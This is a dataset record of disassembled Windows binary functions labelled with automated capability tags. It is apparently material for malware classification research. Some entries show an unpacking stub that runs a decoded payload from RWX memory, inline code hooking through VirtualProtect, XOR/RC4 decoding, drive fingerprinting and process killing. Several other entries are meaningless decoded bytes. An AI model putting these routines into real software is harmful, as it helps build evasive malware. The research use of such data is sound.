joyce8/EMBER2024-capa huggingface dataset:
Function at 0x591e33
Capabilities:
Encode data using xor

Disassembly:
push edi
xchg dword [edx], ebp
invalid
mov ah, 0x98
idiv al
sub al, 0x9f
inc ebx
test dword [edi + 0x36b7cba2], ebp
inc ebp
fcom dword [ebp - 0x450a8d7]
mov edi, 0x8f0f893e
mov ebp, 0x9f5442be
sub esp, dword [ecx - 0x11d2f405]
mov edx, ecx
sbb ecx, dword [edx + 0x7a]
das
xor al, 0xa6
add esp, ebp
and al, 0x8a
push edi
or byte [ebx + 0x105fb89f], bl
pushal
sbb eax, 0x533b2cf
xor dh, 0xc0
mov cl, 0x7e
loope 0x591e23
xchg esp, eax
shl dword gs:[ecx], 0x87
push 0x2d396df6
aam 0xd7
mov ecx, 0x3fab9135
mov dl, 0xc1
movsb byte es:[edi], byte [esi]
inc ebp
stosd dword es:[edi], eax
insd dword es:[edi], dx
ret

Function at 0x5e7a33
Capabilities:
Encode data using xor

Disassembly:
add dh, byte [esi + 0x71]
or byte [esi + 0x7711dc76], al
stc
cmp cl, byte [ebp - 0x6e]
mov eax, 0xf7d46fd8
aam 0xc6
mov ch, 0x20
mov gs, word [edx + 0x78617710]
ja 0x5e7a96
js 0x5e7a67
add dword [ecx - 0x60], edx
inc ecx
fisttp qword [edi + 0x79]
ja 0x5e7a96
js 0x5e7a67
add dword [ecx - 0x60], edx
inc ecx
fisttp qword [edi + 0x79]
fild dword [eax]
inc edx
out 0x66, al
mov edi, 0x9e86d750
in eax, dx
lahf
je 0x5e7a1a
int3
repne cmpsb byte [esi], byte es:[edi]
push 0xffffffffffffffd8
or byte [edx + ebx - 0x241afc21], bl
xor eax, 0x164d0532
push esp
in al, 0xce
cmc
fmul qword [ebx - 0x524924c8]
arpl ax, di
imul ecx, esi, 0xbf9e6e5e
int3
inc esp
pop ds
pop esp
das
inc edx
push ebp
or dword fs:[edx], esp
fstpnce st(1), st(0)
iretd
Function at 0x62a923
Capabilities:
Encode data using xor

Disassembly:
xor eax, 0x7450e21
push ds
mov ecx, 0x1557ec22
sbb al, 0x25
mov ebx, 0xe1330b86
xchg byte [ebx], cl
xor esp, ecx
mov eax, dword [0x460da55b]
mov byte [0xd7507607], al
add ebp, dword [edx]
or dh, byte [edi - 0x1f50594e]
cwde
mov ah, 0x84
mov bh, 0x99
adc eax, 0xad1778c4
adc eax, 0xac06de94
jp 0x62a913
out 0x5a, al
out dx, al
pop ecx
pop esi
in al, 0x5b
mov dh, pe_nt_image_headers32
test eax, 0xb0e786e8
popfd
xchg ebp, eax
push ss
mov dword [edi + esi], 0xbac7f5f9
sbb dword [si - 0x1bc7], edi
xor al, 0x3c
pop ebp
sahf
mov ah, 0xdd
push esp
pop edi
rcl dword [esi], 0xa9
xor al, 0x90
mov esp, 0xd37ce25b
cmp byte [edx + 0x47], bh
xchg ch, ah
loop 0x62a904
add dword [esp - 0x49], edx
fidiv dword [0x2eace383]
lodsb al, byte [esi]
inc ebp
jne 0x62a9d2
xchg edi, eax
cli
in al, 0x85
mov cl, 0x6c
sti
std
fdecstp
movsd dword es:[edi], dword [esi]
popfd
jge 0x62a9bf
loop 0x62a9e7
add dl, al
mov ah, 0x94
pushfd
mov bl, 0x23
xor dword [0xb2439fc7], esi
push ecx
xchg esp, eax
xchg edi, edi
outsb dx, byte [esi]
xor al, 0xc8
cmc
adc eax, 0x40e79e9f
jo 0x62aa27
pop eax
hlt
mov eax, dword [0x144ada75]
hlt
xchg dword [ebx], ebp
add dword ss:[ebx - 0x2d], ecx
or dword [esi], eax
cmc
or al, 8
invalid
or eax, 0x65c087bb
mov dl, 0x8d
xor dh, byte [eax + ebx*8]
mov ebx, 0xb265c087
lea esi, [edx]
xor al, 0xd8
movsb byte es:[edi], byte [esi]
inc esi
and eax, 0xcab02224
je 0x42087954
jo 0x62aa5c
cmp al, 0x54
std
loop 0x62aa3a
jne 0x62a9e8
xor byte [esi - 0x3c51576f], dh
adc byte [ebx], bl
das
add eax, 0x2480a695
lds ebx, [edi + ecx*8]
push edi
je 0x62a99e
loop 0x62aa5e
xor byte [edi - 0x4f82d69f], dh
invalid
scasd eax, dword es:[edi]
invalid
adc al, 0xad
retf 0x47e0
inc edi
inc eax
push cs
fisttp qword [edx - 0x6b]
shr byte [edi + edi*4 - 0x7e4a337b], 1
or eax, 0x2706cfb4
pushal
prefetch byte [eax + 0x54264b6]
and esi, dword [0x614a30bc]
rcl ch, 1
int3

Function at 0x63d5b3
Capabilities:
Encode data using xor

Disassembly:
xor eax, 0x7bcb20be
fist word [ebp - 0x19cba01b]
push ss
aaa
rcl byte [edx]
xchg esp, eax
add ch, ah
invalid
Function at 0x40f340
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x40f34f
pop dword [ebp - 0x2c]
mov eax, 0x8ba69286
add eax, 0x749a60c9
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x1be256c1
add dword [ebp - 0x3c], 0x326fee8a
mov dword [ebp - 0x38], 0x40203862
add dword [ebp - 0x38], 0xf21313e3
mov dword [ebp - 0x34], 0xf3545b2e
sub dword [ebp - 0x34], 0xa7081700
mov dword [ebp - 0x30], 0x4db5ce9f
add dword [ebp - 0x30], 0xb24a3161
lea eax, [ebp - 0x3c]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0xfa6e85e7
add dword [ebp - 0x3c], 0x7a03e36f
mov dword [ebp - 0x38], 0x26bd1769
sub dword [ebp - 0x38], 0xe550b5f4
mov dword [ebp - 0x34], 0xe7376e34
add dword [ebp - 0x34], 0x7c37fe38
mov dword [ebp - 0x30], 0x3e36ee99
sub dword [ebp - 0x30], 0x3e36ee99
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0xf7dbdaad
add eax, 0x867c58b
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x430fa
push 0
call eax
mov ecx, 0x4ea3ba4c
sub ecx, 0x4ea35f13
xor ebx, ebx
add ebx, eax
mov esi, 0xf13ec96b
sub esi, 0xf0f94f6b
add esi, dword [ebp - 0x2c]
mov edi, 0x5555b96a
add edi, 0x85eb43c9
mov dword [ebp - 0xc], 0xe37f97ab
mov edx, dword [esi]
add dword [ebp - 0x1c], 0x79b8e17f
sub edx, edi
xor dword [ebp - 0x10], 0xc08c37f1
mov dword [ebx], edx
xor dword [ebp - 0xc], 0x8eec9bf6
add ebx, 4
add esi, 0x4524da0e
sub esi, 0x4524da0a
loop 0x40f46e
add eax, 0x9ecce078
sub eax, 0x9ecb80c1
xor ebx, ebx
add ebx, eax
add eax, 0x86fe84d
add eax, 0xf79017b8
mov ecx, 0x400000
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret

Function at 0x4128d9
Capabilities:
Get common file path

Disassembly:
push 0x264
mov eax, 0x4375ca
call fcn.00433ea9
mov edi, ecx
xor esi, esi
push 0x20a
lea eax, [ebp - 0x224]
push esi
push eax
mov dword [ebp - 0x258], esi
call dword [sym.imp.MSVCR110.dll_memset]
add esp, 0xc
call fcn.0040f340
test al, al
je 0x41299a
push str.IE_is_protected_mode_
lea ecx, [ebp - 0x23c]
call fcn.0040f340
push str.LogSession
lea ecx, [ebp - 0x254]
mov dword [ebp - 4], esi
call fcn.0040f340
lea ecx, [ebp - 0x254]
mov byte [ebp - 4], 1
call fcn.0040c42d
push 0x43f9ae
lea ecx, [ebp - 0x270]
mov esi, eax
call fcn.0040f340
push eax
mov byte [ebp - 4], 2
mov edx, dword [esi]
lea eax, [ebp - 0x23c]
push eax
mov ecx, esi
call dword [edx + 0x40]
lea ecx, [ebp - 0x270]
call fcn.004023b1
lea ecx, [ebp - 0x254]
call fcn.004023b1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x23c]
call fcn.004023b1
mov ecx, edi
call fcn.0041283a
jmp 0x4129c7
lea eax, [ebp - 0x224]
push eax
push esi
push esi
push 0x801a
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov edx, 0x43fc28
test eax, eax
lea ecx, [ebp - 0x224]
cmovne ecx, edx
push ecx
mov ecx, edi
call fcn.0040f340
mov eax, edi
call fcn.00433e58
ret
Function at 0x100059c0
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x37c8
call fcn.10058dc0
mov eax, dword [0x1008000c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push dword [ecx]
lea eax, [ebp - 0x108]
xor esi, esi
push str..PhysicalDrive_d
push eax
call fcn.10006290
add esp, 0xc
lea eax, [ebp - 0x108]
push esi
push esi
push 3
push esi
push 3
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x10005be3
push 0x2710
lea eax, [ebp - 0x37b8]
mov dword [ebp - 0x37bc], esi
push esi
push eax
mov dword [ebp - 0x37c0], esi
mov dword [ebp - 0x37c8], esi
mov dword [ebp - 0x37c4], esi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x37bc]
push esi
push eax
push 0x2710
lea eax, [ebp - 0x37b8]
push eax
push 0xc
lea eax, [ebp - 0x37c8]
push eax
push 0x2d1400
push edi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x10005bd6
mov edx, dword [ebp - 0x37ac]
lea eax, [ebp - 0x8d8]
push eax
push esi
lea ecx, [ebp - 0x37b8]
call fcn.10005830
mov edx, dword [ebp - 0x37a8]
lea eax, [ebp - 0xcc0]
push eax
push esi
lea ecx, [ebp - 0x37b8]
call fcn.10005830
mov edx, dword [ebp - 0x37a4]
lea eax, [ebp - 0x10a8]
push eax
push esi
lea ecx, [ebp - 0x37b8]
call fcn.10005830
mov edx, dword [ebp - 0x37a0]
lea eax, [ebp - 0x4f0]
push eax
push 1
lea ecx, [ebp - 0x37b8]
call fcn.10005830
add esp, 0x20
cmp byte [0x10081ad8], 0
jne 0x10005b99
movsx eax, byte [ebp - 0x4f0]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isalnum]
add esp, 4
test eax, eax
jne 0x10005b12
movsx eax, byte [ebp - 0x4dd]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isalnum]
add esp, 4
test eax, eax
je 0x10005b99
xor ecx, ecx
nop dword [eax]
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x8d8]
lea ecx, [ecx + 1]
mov byte [ecx + 0x100816d7], al
test al, al
jne 0x10005b20
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ebp + ecx - 0xcc0]
lea ecx, [ecx + 1]
mov byte [ecx + 0x10080ed7], al
test al, al
jne 0x10005b40
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x4f0]
lea ecx, [ecx + 1]
mov byte [ecx + 0x10081ad7], al
test al, al
jne 0x10005b60
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x10a8]
lea ecx, [ecx + 1]
mov byte [ecx + 0x100812d7], al
test al, al
jne 0x10005b80
mov esi, 1
push 0x2710
lea eax, [ebp - 0x37b8]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x37bc]
push 0
push eax
push 0x2710
lea eax, [ebp - 0x37b8]
push eax
push 0
push 0
push 0x700a0
push edi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
jmp 0x10005bdc
call dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
xor ecx, ebp
pop esi
call fcn.10057a19
mov esp, ebp
pop ebp
ret
Function at 0x10006830
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd0
mov eax, dword [0x1008000c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x100068b1
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0xd0]
push eax
push 0x40
push 4
push esi
call edi
mov eax, dword [esi]
push 0
push dword [ebp - 0xd0]
mov dword [ebp - 0xcc], eax
push 4
push esi
call edi
xor eax, eax
nop word [eax + eax]
xor byte [ebp + eax - 0xcc], al
inc eax
cmp eax, 4
jb 0x10006880
lea eax, [ebp - 0xd0]
push eax
push 0x40
push 4
push esi
call edi
mov eax, dword [ebp - 0xcc]
push 0
push dword [ebp - 0xd0]
mov dword [esi], eax
push 4
push esi
call edi
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10057a19
mov esp, ebp
pop ebp
ret 4

Function at 0x100068d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xcc
mov eax, dword [0x1008000c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
test eax, eax
je 0x10006917
mov eax, dword [eax]
mov dword [ebp - 0xcc], eax
xor eax, eax
xor byte [ebp + eax - 0xcc], al
inc eax
cmp eax, 4
jb 0x100068f4
mov eax, dword [ebp - 0xcc]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10057a19
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.10057a19
mov esp, ebp
pop ebp
ret 4

Function at 0x10006930
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100591fd
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push esi
mov eax, dword [0x1008000c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], ecx
cmp dword [0x10080524], 0x10
mov eax, 0x10080510
cmovae eax, dword [0x10080510]
cmp byte [eax], 0
je 0x10006a4a
mov ecx, dword [ebp + 8]
cmp byte [ecx], 0
je 0x10006a4a
cmp dword [0x100801ac], 0x10
mov eax, 0x10080198
cmovae eax, dword [0x10080198]
cmp byte [eax], 0
je 0x10006a4a
mov esi, 0x10086100
mov edx, ecx
sub esi, ecx
mov al, byte [edx]
lea edx, [edx + 1]
mov byte [esi + edx - 1], al
test al, al
jne 0x100069a6
mov edx, 0x100828d8
sub edx, ecx
nop word [eax + eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x100069c0
mov ecx, dword [0x1008698c]
mov edx, 0x10080510
cmp dword [0x10080524], 0x10
push 0x10086100
cmovae edx, dword [0x10080510]
mov eax, dword [ecx]
push edx
call dword [eax + 8]
test eax, eax
jne 0x10006a4a
mov ecx, 0x98
xor edx, edx
nop dword [eax]
mov al, byte [edx + 0x10072940]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x28], al
and ecx, 0x800000ff
jns 0x10006a1d
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x14
jl 0x10006a00
mov byte [ebp - 0x14], 0
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 4], 0
mov eax, dword [0x10082104]
mov esi, dword [eax]
mov eax, dword [ecx]
call dword [eax + 0x4c]
mov ecx, dword [0x10082104]
push eax
lea eax, [ebp - 0x28]
push eax
call dword [esi]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x10006a60
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005922d
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x1008000c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
lea esi, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
cmovae esi, dword [ebp + 8]
lea ecx, [esi + 1]
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x10006aa0
sub esi, ecx
push esi
call fcn.1005834e
add esp, 4
xor edx, edx
mov edi, eax
test esi, esi
js 0x10006acb
nop word [eax + eax]
xor byte [edx + edi], dl
lea ecx, [edx + edi]
inc edx
cmp edx, esi
jle 0x10006ac0
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x10006b01
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10006af7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10006af7
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.10058340
add esp, 8
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x18

Function at 0x10007ee0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1008000c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, dword [ebp + 0xc]
xor esi, esi
test edi, edi
js 0x10007f17
nop
lea eax, [ebp - 8]
push eax
push 0x40
push 4
lea eax, [ebx + esi]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
inc esi
cmp esi, edi
jle 0x10007f00
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10057a19
mov esp, ebp
pop ebp
ret 8

Function at 0x10008220
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x1008000c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 8]
push eax
push 0x40
push 4
mov ebx, dword [edi]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 8]
mov dword [edi], ecx
push 4
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
xor ecx, ebp
pop ebx
call fcn.10057a19
mov esp, ebp
pop ebp
ret 8
Function at 0x10008270
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x10079cd8
push 0x10057ca9
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x1008000c]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov esi, dword [ebp + 8]
mov dword [ebp - 4], 0
lea eax, [ebp - 0x20]
push eax
push 0x40
mov edi, dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp + 0xc]
sub eax, esi
sub eax, 5
mov byte [esi], 0xe8
mov dword [esi + 1], eax
mov eax, 5
mov dword [ebp - 0x28], eax
cmp eax, edi
jae 0x100082e2
mov byte [esi + eax], 0x90
inc eax
jmp 0x100082d4
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x20]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x100082fc
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.10057a19
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10012eb0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x1008000c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, ecx
mov eax, edx
mov dword [ebp - 0xc], eax
cmp ebx, 0x1000
jbe 0x10012f07
test eax, eax
je 0x10012f07
push edi
mov edi, dword [ebp + 8]
test edi, edi
je 0x10012f06
lea eax, [ebp - 8]
push eax
push 0x40
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push edi
push dword [ebp - 0xc]
push ebx
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.10057a19
mov esp, ebp
pop ebp
ret

Function at 0x10012f20
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1008000c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
mov edi, dword [0x10087710]
mov ebx, edx
cmp edi, 0x1000
jbe 0x10012f69
test ebx, ebx
je 0x10012f69
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov al, byte [ebx]
mov byte [edi], al
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 1
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.10057a19
mov esp, ebp
pop ebp
ret

Function at 0x10013110
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1008000c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
cmp ebx, 0x1000
jbe 0x1001316e
test edi, edi
je 0x1001316e
push esi
push edi
call fcn.1005834e
add esp, 4
mov esi, eax
lea eax, [ebp - 8]
push eax
push 0x40
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push edi
push ebx
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov eax, esi
pop esi
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10057a19
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop ebx
call fcn.10057a19
mov esp, ebp
pop ebp
ret 8

Function at 0x10013190
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x1008000c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push edi
call fcn.1005834e
add esp, 4
mov ebx, eax
lea eax, [ebp - 8]
mov dword [ebp - 0xc], ebx
push eax
push 0x40
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test edi, edi
jle 0x100131fe
sub ebx, esi
nop dword [eax + eax]
push 4
push esi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x100131e2
mov al, byte [esi]
mov byte [ebx + esi], al
inc esi
sub edi, 1
jne 0x100131d0
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10057a19
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10057a19
mov esp, ebp
pop ebp
ret 8
Function at 0x10013220
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x1008000c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
push esi
call fcn.1005834e
add esp, 4
mov ebx, eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0x30], ebx
push eax
push 0x40
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp + 8]
mov edi, ebx
lea eax, [esi + ecx]
mov dword [ebp - 0x2c], eax
nop dword [eax]
push 0x1c
lea eax, [ebp - 0x28]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov esi, dword [ebp - 0x1c]
mov ebx, dword [ebp - 0x28]
cmp edi, 0x1000
jbe 0x100132b1
test ebx, ebx
je 0x100132b1
test esi, esi
je 0x100132b1
lea eax, [ebp - 8]
push eax
push 0x40
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
push ebx
push edi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, dword [ebp - 0x1c]
mov ebx, dword [ebp - 0x28]
lea ecx, [ebx + esi]
add edi, esi
cmp ecx, dword [ebp - 0x2c]
jb 0x10013260
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x30]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.10057a19
mov esp, ebp
pop ebp
ret 8

Function at 0x100132e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1008000c]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, dword [ebp + 8]
cmp edi, 0x1000
jbe 0x1001331e
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
mov byte [edi], 0xcc
push eax
push dword [ebp - 8]
push 1
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.10057a19
mov esp, ebp
pop ebp
ret 4
Function at 0x10013330
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x134
mov eax, dword [0x1008000c]
xor eax, esp
mov dword [esp + 0x130], eax
push ebx
push esi
push edi
push 0
mov esi, ecx
push 0xf
mov dword [esp + 0x14], esi
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
mov dword [esp + 0x10], 0x128
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x100133e2
nop dword [eax]
mov eax, esi
lea ecx, [esp + 0x34]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x100133a6
test dl, dl
je 0x100133a2
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x100133a6
add ecx, 2
add eax, 2
test dl, dl
jne 0x10013386
xor eax, eax
jmp 0x100133ab
sbb eax, eax
or eax, 1
test eax, eax
jne 0x100133d2
push dword [esp + 0x18]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x100133ce
push 9
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call ebx
mov esi, dword [esp + 0xc]
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x10013380
push edi
call ebx
mov ecx, dword [esp + 0x13c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10057a19
mov esp, ebp
pop ebp
ret

Function at 0x10013400
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x1007a308
push 0x10057ca9
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x1008000c]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov edi, edx
mov esi, ecx
mov dword [ebp - 4], 0
cmp esi, 0x1000
jbe 0x1001349a
cmp edi, 0x1000
jbe 0x1001349a
lea eax, [ebp - 0x20]
push eax
push 0x40
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub edi, esi
sub edi, 5
mov byte [esi], 0xe9
mov dword [esi + 1], edi
mov eax, 5
mov dword [ebp - 0x28], eax
cmp eax, 5
jae 0x1001347f
mov byte [esi + eax], 0x90
inc eax
jmp 0x10013470
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x20]
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x1001349a
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.10057a19
mov esp, ebp
pop ebp
ret